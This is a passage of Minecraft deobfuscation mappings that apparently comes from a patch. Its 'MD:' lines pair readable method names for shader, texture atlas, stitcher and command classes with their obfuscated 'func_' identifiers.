+MD: net/minecraft/client/shader/ShaderDefault/func_148092_b (FFFF)V net/minecraft/client/shader/ShaderDefault/func_148092_b (FFFF)V +MD: net/minecraft/client/shader/ShaderManager/deleteShader ()V net/minecraft/client/shader/ShaderManager/func_147988_a ()V +MD: net/minecraft/client/shader/ShaderManager/parseSampler (Lcom/google/gson/JsonElement;)V net/minecraft/client/shader/ShaderManager/func_147996_a (Lcom/google/gson/JsonElement;)V +MD: net/minecraft/client/shader/ShaderManager/getShaderUniform (Ljava/lang/String;)Lnet/minecraft/client/shader/ShaderUniform; net/minecraft/client/shader/ShaderManager/func_147991_a (Ljava/lang/String;)Lnet/minecraft/client/shader/ShaderUniform; +MD: net/minecraft/client/shader/ShaderManager/addSamplerTexture (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/client/shader/ShaderManager/func_147992_a (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/client/shader/ShaderManager/endShader ()V net/minecraft/client/shader/ShaderManager/func_147993_b ()V +MD: net/minecraft/client/shader/ShaderManager/parseUniform (Lcom/google/gson/JsonElement;)V net/minecraft/client/shader/ShaderManager/func_147987_b (Lcom/google/gson/JsonElement;)V +MD: net/minecraft/client/shader/ShaderManager/getShaderUniformOrDefault (Ljava/lang/String;)Lnet/minecraft/client/shader/ShaderUniform; net/minecraft/client/shader/ShaderManager/func_147984_b (Ljava/lang/String;)Lnet/minecraft/client/shader/ShaderUniform; +MD: net/minecraft/client/shader/ShaderManager/useShader ()V net/minecraft/client/shader/ShaderManager/func_147995_c ()V +MD: net/minecraft/client/shader/ShaderManager/markDirty ()V net/minecraft/client/shader/ShaderManager/func_147985_d ()V +MD: net/minecraft/client/shader/ShaderManager/getVertexShaderLoader ()Lnet/minecraft/client/shader/ShaderLoader; net/minecraft/client/shader/ShaderManager/func_147989_e ()Lnet/minecraft/client/shader/ShaderLoader; +MD: net/minecraft/client/shader/ShaderManager/getFragmentShaderLoader ()Lnet/minecraft/client/shader/ShaderLoader; net/minecraft/client/shader/ShaderManager/func_147994_f ()Lnet/minecraft/client/shader/ShaderLoader; +MD: net/minecraft/client/shader/ShaderManager/getProgram ()I net/minecraft/client/shader/ShaderManager/func_147986_h ()I +MD: net/minecraft/client/shader/ShaderManager/setupUniforms ()V net/minecraft/client/shader/ShaderManager/func_147990_i ()V +MD: net/minecraft/client/shader/ShaderGroup/deleteShaderGroup ()V net/minecraft/client/shader/ShaderGroup/func_148021_a ()V +MD: net/minecraft/client/shader/ShaderGroup/loadShaderGroup (F)V net/minecraft/client/shader/ShaderGroup/func_148018_a (F)V +MD: net/minecraft/client/shader/ShaderGroup/createBindFramebuffers (II)V net/minecraft/client/shader/ShaderGroup/func_148026_a (II)V +MD: net/minecraft/client/shader/ShaderGroup/parsePass (Lnet/minecraft/client/renderer/texture/TextureManager;Lcom/google/gson/JsonElement;)V net/minecraft/client/shader/ShaderGroup/func_152764_a (Lnet/minecraft/client/renderer/texture/TextureManager;Lcom/google/gson/JsonElement;)V +MD: net/minecraft/client/shader/ShaderGroup/parseGroup (Lnet/minecraft/client/renderer/texture/TextureManager;Lnet/minecraft/util/ResourceLocation;)V net/minecraft/client/shader/ShaderGroup/func_152765_a (Lnet/minecraft/client/renderer/texture/TextureManager;Lnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/shader/ShaderGroup/initTarget (Lcom/google/gson/JsonElement;)V net/minecraft/client/shader/ShaderGroup/func_148027_a (Lcom/google/gson/JsonElement;)V +MD: net/minecraft/client/shader/ShaderGroup/getFramebufferRaw (Ljava/lang/String;)Lnet/minecraft/client/shader/Framebuffer; net/minecraft/client/shader/ShaderGroup/func_177066_a (Ljava/lang/String;)Lnet/minecraft/client/shader/Framebuffer; +MD: net/minecraft/client/shader/ShaderGroup/addFramebuffer (Ljava/lang/String;II)V net/minecraft/client/shader/ShaderGroup/func_148020_a (Ljava/lang/String;II)V +MD: net/minecraft/client/shader/ShaderGroup/addShader (Ljava/lang/String;Lnet/minecraft/client/shader/Framebuffer;Lnet/minecraft/client/shader/Framebuffer;)Lnet/minecraft/client/shader/Shader; net/minecraft/client/shader/ShaderGroup/func_148023_a (Ljava/lang/String;Lnet/minecraft/client/shader/Framebuffer;Lnet/minecraft/client/shader/Framebuffer;)Lnet/minecraft/client/shader/Shader; +MD: net/minecraft/client/shader/ShaderGroup/getShaderGroupName ()Ljava/lang/String; net/minecraft/client/shader/ShaderGroup/func_148022_b ()Ljava/lang/String; +MD: net/minecraft/client/shader/ShaderGroup/initUniform (Lcom/google/gson/JsonElement;)V net/minecraft/client/shader/ShaderGroup/func_148028_c (Lcom/google/gson/JsonElement;)V +MD: net/minecraft/client/shader/ShaderGroup/getFramebuffer (Ljava/lang/String;)Lnet/minecraft/client/shader/Framebuffer; net/minecraft/client/shader/ShaderGroup/func_148017_a (Ljava/lang/String;)Lnet/minecraft/client/shader/Framebuffer; +MD: net/minecraft/client/shader/ShaderGroup/resetProjectionMatrix ()V net/minecraft/client/shader/ShaderGroup/func_148024_c ()V +MD: net/minecraft/client/shader/Shader/loadShader (F)V net/minecraft/client/shader/Shader/func_148042_a (F)V +MD: net/minecraft/client/shader/Shader/addAuxFramebuffer (Ljava/lang/String;Ljava/lang/Object;II)V net/minecraft/client/shader/Shader/func_148041_a (Ljava/lang/String;Ljava/lang/Object;II)V +MD: net/minecraft/client/shader/Shader/setProjectionMatrix (Lorg/lwjgl/util/vector/Matrix4f;)V net/minecraft/client/shader/Shader/func_148045_a (Lorg/lwjgl/util/vector/Matrix4f;)V +MD: net/minecraft/client/shader/Shader/deleteShader ()V net/minecraft/client/shader/Shader/func_148044_b ()V +MD: net/minecraft/client/shader/Shader/getShaderManager ()Lnet/minecraft/client/shader/ShaderManager; net/minecraft/client/shader/Shader/func_148043_c ()Lnet/minecraft/client/shader/ShaderManager; +MD: net/minecraft/client/shader/Shader/preLoadShader ()V net/minecraft/client/shader/Shader/func_148040_d ()V +MD: net/minecraft/client/shader/ShaderLoader$ShaderType/getShaderName ()Ljava/lang/String; net/minecraft/client/shader/ShaderLoader$ShaderType/func_148062_a ()Ljava/lang/String; +MD: net/minecraft/client/shader/ShaderLoader$ShaderType/getShaderExtension ()Ljava/lang/String; net/minecraft/client/shader/ShaderLoader$ShaderType/func_148063_b ()Ljava/lang/String; +MD: net/minecraft/client/shader/ShaderLoader$ShaderType/getShaderMode ()I net/minecraft/client/shader/ShaderLoader$ShaderType/func_148065_c ()I +MD: net/minecraft/client/shader/ShaderLoader$ShaderType/getLoadedShaders ()Ljava/util/Map; net/minecraft/client/shader/ShaderLoader$ShaderType/func_148064_d ()Ljava/util/Map; +MD: net/minecraft/client/shader/ShaderLoader$ShaderType/values ()[Lnet/minecraft/client/shader/ShaderLoader$ShaderType; net/minecraft/client/shader/ShaderLoader$ShaderType/values ()[Lnet/minecraft/client/shader/ShaderLoader$ShaderType; +MD: net/minecraft/client/shader/ShaderLoader/getShaderFilename ()Ljava/lang/String; net/minecraft/client/shader/ShaderLoader/func_148055_a ()Ljava/lang/String; +MD: net/minecraft/client/shader/ShaderLoader/attachShader (Lnet/minecraft/client/shader/ShaderManager;)V net/minecraft/client/shader/ShaderLoader/func_148056_a (Lnet/minecraft/client/shader/ShaderManager;)V +MD: net/minecraft/client/shader/ShaderLoader/loadShader (Lnet/minecraft/client/resources/IResourceManager;Lnet/minecraft/client/shader/ShaderLoader$ShaderType;Ljava/lang/String;)Lnet/minecraft/client/shader/ShaderLoader; net/minecraft/client/shader/ShaderLoader/func_148057_a (Lnet/minecraft/client/resources/IResourceManager;Lnet/minecraft/client/shader/ShaderLoader$ShaderType;Ljava/lang/String;)Lnet/minecraft/client/shader/ShaderLoader; +MD: net/minecraft/client/shader/ShaderLoader/toByteArray (Ljava/io/BufferedInputStream;)[B net/minecraft/client/shader/ShaderLoader/func_177064_a (Ljava/io/BufferedInputStream;)[B +MD: net/minecraft/client/shader/ShaderLoader/deleteShader (Lnet/minecraft/client/shader/ShaderManager;)V net/minecraft/client/shader/ShaderLoader/func_148054_b (Lnet/minecraft/client/shader/ShaderManager;)V +MD: net/minecraft/client/shader/ShaderLinkHelper/setNewStaticShaderLinkHelper ()V net/minecraft/client/shader/ShaderLinkHelper/func_148076_a ()V +MD: net/minecraft/client/shader/ShaderLinkHelper/deleteShader (Lnet/minecraft/client/shader/ShaderManager;)V net/minecraft/client/shader/ShaderLinkHelper/func_148077_a (Lnet/minecraft/client/shader/ShaderManager;)V +MD: net/minecraft/client/shader/ShaderLinkHelper/getStaticShaderLinkHelper ()Lnet/minecraft/client/shader/ShaderLinkHelper; net/minecraft/client/shader/ShaderLinkHelper/func_148074_b ()Lnet/minecraft/client/shader/ShaderLinkHelper; +MD: net/minecraft/client/shader/ShaderLinkHelper/linkProgram (Lnet/minecraft/client/shader/ShaderManager;)V net/minecraft/client/shader/ShaderLinkHelper/func_148075_b (Lnet/minecraft/client/shader/ShaderManager;)V +MD: net/minecraft/client/shader/ShaderLinkHelper/createProgram ()I net/minecraft/client/shader/ShaderLinkHelper/func_148078_c ()I +MD: net/minecraft/client/shader/ShaderUniform/getShaderName ()Ljava/lang/String; net/minecraft/client/shader/ShaderUniform/func_148086_a ()Ljava/lang/String; +MD: net/minecraft/client/shader/ShaderUniform/set (F)V net/minecraft/client/shader/ShaderUniform/func_148090_a (F)V +MD: net/minecraft/client/shader/ShaderUniform/set (FF)V net/minecraft/client/shader/ShaderUniform/func_148087_a (FF)V +MD: net/minecraft/client/shader/ShaderUniform/set (FFF)V net/minecraft/client/shader/ShaderUniform/func_148095_a (FFF)V +MD: net/minecraft/client/shader/ShaderUniform/set (FFFF)V net/minecraft/client/shader/ShaderUniform/func_148081_a (FFFF)V +MD: net/minecraft/client/shader/ShaderUniform/set (FFFFFFFFFFFFFFFF)V net/minecraft/client/shader/ShaderUniform/func_148094_a (FFFFFFFFFFFFFFFF)V +MD: net/minecraft/client/shader/ShaderUniform/set (IIII)V net/minecraft/client/shader/ShaderUniform/func_148083_a (IIII)V +MD: net/minecraft/client/shader/ShaderUniform/parseType (Ljava/lang/String;)I net/minecraft/client/shader/ShaderUniform/func_148085_a (Ljava/lang/String;)I +MD: net/minecraft/client/shader/ShaderUniform/set (Lorg/lwjgl/util/vector/Matrix4f;)V net/minecraft/client/shader/ShaderUniform/func_148088_a (Lorg/lwjgl/util/vector/Matrix4f;)V +MD: net/minecraft/client/shader/ShaderUniform/set ([F)V net/minecraft/client/shader/ShaderUniform/func_148097_a ([F)V +MD: net/minecraft/client/shader/ShaderUniform/upload ()V net/minecraft/client/shader/ShaderUniform/func_148093_b ()V +MD: net/minecraft/client/shader/ShaderUniform/func_148092_b (FFFF)V net/minecraft/client/shader/ShaderUniform/func_148092_b (FFFF)V +MD: net/minecraft/client/shader/ShaderUniform/setUniformLocation (I)V net/minecraft/client/shader/ShaderUniform/func_148084_b (I)V +MD: net/minecraft/client/shader/ShaderUniform/markDirty ()V net/minecraft/client/shader/ShaderUniform/func_148096_h ()V +MD: net/minecraft/client/shader/ShaderUniform/uploadInt ()V net/minecraft/client/shader/ShaderUniform/func_148091_i ()V +MD: net/minecraft/client/shader/ShaderUniform/uploadFloat ()V net/minecraft/client/shader/ShaderUniform/func_148089_j ()V +MD: net/minecraft/client/shader/ShaderUniform/uploadFloatMatrix ()V net/minecraft/client/shader/ShaderUniform/func_148082_k ()V +MD: net/minecraft/client/renderer/texture/AbstractTexture/restoreLastBlurMipmap ()V net/minecraft/client/renderer/texture/AbstractTexture/func_174935_a ()V +MD: net/minecraft/client/renderer/texture/AbstractTexture/setBlurMipmapDirect (ZZ)V net/minecraft/client/renderer/texture/AbstractTexture/func_174937_a (ZZ)V +MD: net/minecraft/client/renderer/texture/AbstractTexture/getGlTextureId ()I net/minecraft/client/renderer/texture/AbstractTexture/func_110552_b ()I +MD: net/minecraft/client/renderer/texture/AbstractTexture/setBlurMipmap (ZZ)V net/minecraft/client/renderer/texture/AbstractTexture/func_174936_b (ZZ)V +MD: net/minecraft/client/renderer/texture/AbstractTexture/deleteGlTexture ()V net/minecraft/client/renderer/texture/AbstractTexture/func_147631_c ()V +MD: net/minecraft/client/renderer/texture/DynamicTexture/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/DynamicTexture/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/DynamicTexture/updateDynamicTexture ()V net/minecraft/client/renderer/texture/DynamicTexture/func_110564_a ()V +MD: net/minecraft/client/renderer/texture/DynamicTexture/getTextureData ()[I net/minecraft/client/renderer/texture/DynamicTexture/func_110565_c ()[I +MD: net/minecraft/command/server/CommandSummon/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandSummon/func_82362_a ()I +MD: net/minecraft/command/server/CommandSummon/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandSummon/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandSummon/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandSummon/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandSummon/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandSummon/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSummon/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandSummon/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/renderer/ThreadDownloadImageData$1/run ()V net/minecraft/client/renderer/ThreadDownloadImageData$1/run ()V +MD: net/minecraft/client/renderer/ThreadDownloadImageData/access$000 (Lnet/minecraft/client/renderer/ThreadDownloadImageData;)Ljava/lang/String; net/minecraft/client/renderer/ThreadDownloadImageData/access$000 (Lnet/minecraft/client/renderer/ThreadDownloadImageData;)Ljava/lang/String; +MD: net/minecraft/client/renderer/ThreadDownloadImageData/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/ThreadDownloadImageData/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/ThreadDownloadImageData/setBufferedImage (Ljava/awt/image/BufferedImage;)V net/minecraft/client/renderer/ThreadDownloadImageData/func_147641_a (Ljava/awt/image/BufferedImage;)V +MD: net/minecraft/client/renderer/ThreadDownloadImageData/getGlTextureId ()I net/minecraft/client/renderer/ThreadDownloadImageData/func_110552_b ()I +MD: net/minecraft/client/renderer/ThreadDownloadImageData/access$100 (Lnet/minecraft/client/renderer/ThreadDownloadImageData;)Ljava/io/File; net/minecraft/client/renderer/ThreadDownloadImageData/access$100 (Lnet/minecraft/client/renderer/ThreadDownloadImageData;)Ljava/io/File; +MD: net/minecraft/client/renderer/ThreadDownloadImageData/access$300 (Lnet/minecraft/client/renderer/ThreadDownloadImageData;)Lnet/minecraft/client/renderer/IImageBuffer; net/minecraft/client/renderer/ThreadDownloadImageData/access$300 (Lnet/minecraft/client/renderer/ThreadDownloadImageData;)Lnet/minecraft/client/renderer/IImageBuffer; +MD: net/minecraft/client/renderer/ThreadDownloadImageData/loadTextureFromServer ()V net/minecraft/client/renderer/ThreadDownloadImageData/func_152433_a ()V +MD: net/minecraft/client/renderer/ThreadDownloadImageData/access$200 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/renderer/ThreadDownloadImageData/access$200 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/renderer/ThreadDownloadImageData/checkTextureUploaded ()V net/minecraft/client/renderer/ThreadDownloadImageData/func_147640_e ()V +MD: net/minecraft/client/renderer/texture/IIconCreator/registerSprites (Lnet/minecraft/client/renderer/texture/TextureMap;)V net/minecraft/client/renderer/texture/IIconCreator/func_177059_a (Lnet/minecraft/client/renderer/texture/TextureMap;)V +MD: net/minecraft/client/renderer/texture/LayeredColorMaskTexture/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/LayeredColorMaskTexture/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/LayeredTexture/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/LayeredTexture/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/SimpleTexture/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/SimpleTexture/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/getAtlasSprite ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/texture/Stitcher$Holder/func_98150_a ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/setNewDimension (I)V net/minecraft/client/renderer/texture/Stitcher$Holder/func_94196_a (I)V +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/compareTo (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)I net/minecraft/client/renderer/texture/Stitcher$Holder/compareTo (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)I +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/getWidth ()I net/minecraft/client/renderer/texture/Stitcher$Holder/func_94197_a ()I +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/getHeight ()I net/minecraft/client/renderer/texture/Stitcher$Holder/func_94199_b ()I +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/compareTo (Ljava/lang/Object;)I net/minecraft/client/renderer/texture/Stitcher$Holder/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/rotate ()V net/minecraft/client/renderer/texture/Stitcher$Holder/func_94194_d ()V +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/isRotated ()Z net/minecraft/client/renderer/texture/Stitcher$Holder/func_94195_e ()Z +MD: net/minecraft/client/renderer/texture/Stitcher$Holder/toString ()Ljava/lang/String; net/minecraft/client/renderer/texture/Stitcher$Holder/toString ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/Stitcher$Slot/getStitchHolder ()Lnet/minecraft/client/renderer/texture/Stitcher$Holder; net/minecraft/client/renderer/texture/Stitcher$Slot/func_94183_a ()Lnet/minecraft/client/renderer/texture/Stitcher$Holder; +MD: net/minecraft/client/renderer/texture/Stitcher$Slot/addSlot (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)Z net/minecraft/client/renderer/texture/Stitcher$Slot/func_94182_a (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)Z +MD: net/minecraft/client/renderer/texture/Stitcher$Slot/getAllStitchSlots (Ljava/util/List;)V net/minecraft/client/renderer/texture/Stitcher$Slot/func_94184_a (Ljava/util/List;)V +MD: net/minecraft/client/renderer/texture/Stitcher$Slot/getOriginX ()I net/minecraft/client/renderer/texture/Stitcher$Slot/func_94186_b ()I +MD: net/minecraft/client/renderer/texture/Stitcher$Slot/getOriginY ()I net/minecraft/client/renderer/texture/Stitcher$Slot/func_94185_c ()I +MD: net/minecraft/client/renderer/texture/Stitcher$Slot/toString ()Ljava/lang/String; net/minecraft/client/renderer/texture/Stitcher$Slot/toString ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/Stitcher/getCurrentWidth ()I net/minecraft/client/renderer/texture/Stitcher/func_110935_a ()I +MD: net/minecraft/client/renderer/texture/Stitcher/access$000 (II)I net/minecraft/client/renderer/texture/Stitcher/access$000 (II)I +MD: net/minecraft/client/renderer/texture/Stitcher/allocateSlot (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)Z net/minecraft/client/renderer/texture/Stitcher/func_94310_b (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)Z +MD: net/minecraft/client/renderer/texture/Stitcher/addSprite (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/renderer/texture/Stitcher/func_110934_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/renderer/texture/Stitcher/getCurrentHeight ()I net/minecraft/client/renderer/texture/Stitcher/func_110936_b ()I +MD: net/minecraft/client/renderer/texture/Stitcher/getMipmapDimension (II)I net/minecraft/client/renderer/texture/Stitcher/func_147969_b (II)I +MD: net/minecraft/client/renderer/texture/Stitcher/expandAndAllocateSlot (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)Z net/minecraft/client/renderer/texture/Stitcher/func_94311_c (Lnet/minecraft/client/renderer/texture/Stitcher$Holder;)Z +MD: net/minecraft/client/renderer/texture/Stitcher/doStitch ()V net/minecraft/client/renderer/texture/Stitcher/func_94305_f ()V +MD: net/minecraft/client/renderer/texture/Stitcher/getStichSlots ()Ljava/util/List; net/minecraft/client/renderer/texture/Stitcher/func_94309_g ()Ljava/util/List; +MD: net/minecraft/client/renderer/texture/TextureMap$1/call ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureMap$1/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureMap$1/call ()Ljava/lang/Object; net/minecraft/client/renderer/texture/TextureMap$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/texture/TextureMap$2/call ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureMap$2/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureMap$2/call ()Ljava/lang/Object; net/minecraft/client/renderer/texture/TextureMap$2/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/texture/TextureMap$3/call ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureMap$3/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureMap$3/call ()Ljava/lang/Object; net/minecraft/client/renderer/texture/TextureMap$3/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/texture/TextureMap/setMipmapLevels (I)V net/minecraft/client/renderer/texture/TextureMap/func_147633_a (I)V +MD: net/minecraft/client/renderer/texture/TextureMap/loadTexture (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/TextureMap/func_110551_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/TextureMap/loadSprites (Lnet/minecraft/client/resources/IResourceManager;Lnet/minecraft/client/renderer/texture/IIconCreator;)V net/minecraft/client/renderer/texture/TextureMap/func_174943_a (Lnet/minecraft/client/resources/IResourceManager;Lnet/minecraft/client/renderer/texture/IIconCreator;)V +MD: net/minecraft/client/renderer/texture/TextureMap/getAtlasSprite (Ljava/lang/String;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/texture/TextureMap/func_110572_b (Ljava/lang/String;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/texture/TextureMap/registerSprite (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/texture/TextureMap/func_174942_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/texture/TextureMap/completeResourceLocation (Lnet/minecraft/util/ResourceLocation;I)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/texture/TextureMap/func_147634_a (Lnet/minecraft/util/ResourceLocation;I)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/texture/TextureMap/loadTextureAtlas (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/texture/TextureMap/func_110571_b (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/texture/TextureMap/updateAnimations ()V net/minecraft/client/renderer/texture/TextureMap/func_94248_c ()V +MD: net/minecraft/client/renderer/texture/TextureMap/tick ()V net/minecraft/client/renderer/texture/TextureMap/func_110550_d ()V +MD: net/minecraft/client/renderer/texture/TextureMap/getMissingSprite ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/texture/TextureMap/func_174944_f ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/texture/TextureMap/initMissingImage ()V net/minecraft/client/renderer/texture/TextureMap/func_110569_e ()V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite$1/call ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureAtlasSprite$1/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite$1/call ()Ljava/lang/Object; net/minecraft/client/renderer/texture/TextureAtlasSprite$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getOriginX ()I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_130010_a ()I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getInterpolatedU (D)F net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94214_a (D)F +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getFrameTextureData (I)[[I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_147965_a (I)[[I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/initSprite (IIIIZ)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_110971_a (IIIIZ)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/copyFrom (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94217_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/setLocationNameClock (Ljava/lang/String;)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_176602_a (Ljava/lang/String;)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/setFramesTextureData (Ljava/util/List;)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_110968_a (Ljava/util/List;)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/makeAtlasSprite (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/texture/TextureAtlasSprite/func_176604_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/loadSprite ([Ljava/awt/image/BufferedImage;Lnet/minecraft/client/resources/data/AnimationMetadataSection;)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_180598_a ([Ljava/awt/image/BufferedImage;Lnet/minecraft/client/resources/data/AnimationMetadataSection;)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getFrameTextureData ([[IIII)[[I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_147962_a ([[IIII)[[I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getOriginY ()I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_110967_i ()I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getInterpolatedV (D)F net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94207_b (D)F +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/setIconWidth (I)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_110966_b (I)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/setLocationNameCompass (Ljava/lang/String;)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_176603_b (Ljava/lang/String;)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getIconWidth ()I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94211_a ()I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/setIconHeight (I)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_110969_c (I)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getIconHeight ()I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94216_b ()I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/generateMipmaps (I)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_147963_d (I)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getMinU ()F net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94209_e ()F +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/allocateFrameTextureData (I)V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_130099_d (I)V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getMaxU ()F net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94212_f ()F +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getMinV ()F net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94206_g ()F +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getMaxV ()F net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94210_h ()F +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getIconName ()Ljava/lang/String; net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94215_i ()Ljava/lang/String; +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/updateAnimation ()V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_94219_l ()V +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/getFrameCount ()I net/minecraft/client/renderer/texture/TextureAtlasSprite/func_110970_k ()I +MD: net/minecraft/client/renderer/texture/TextureAtlasSprite/clearFramesTextureData ()V net/minecraft/client/renderer/texture/TextureAtlasSprite/func_130103_l ()V +MD: 